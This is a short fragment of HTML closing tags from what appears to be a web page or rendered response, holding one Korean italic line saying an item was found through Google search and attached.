</div></div></single-image></response-element></div></span></p><p data-sourcepos="58:1-58:36"><em>는 구글 검색을 통해 직접 찾아서 첨부하였습니다.</em></p></div> </div></div>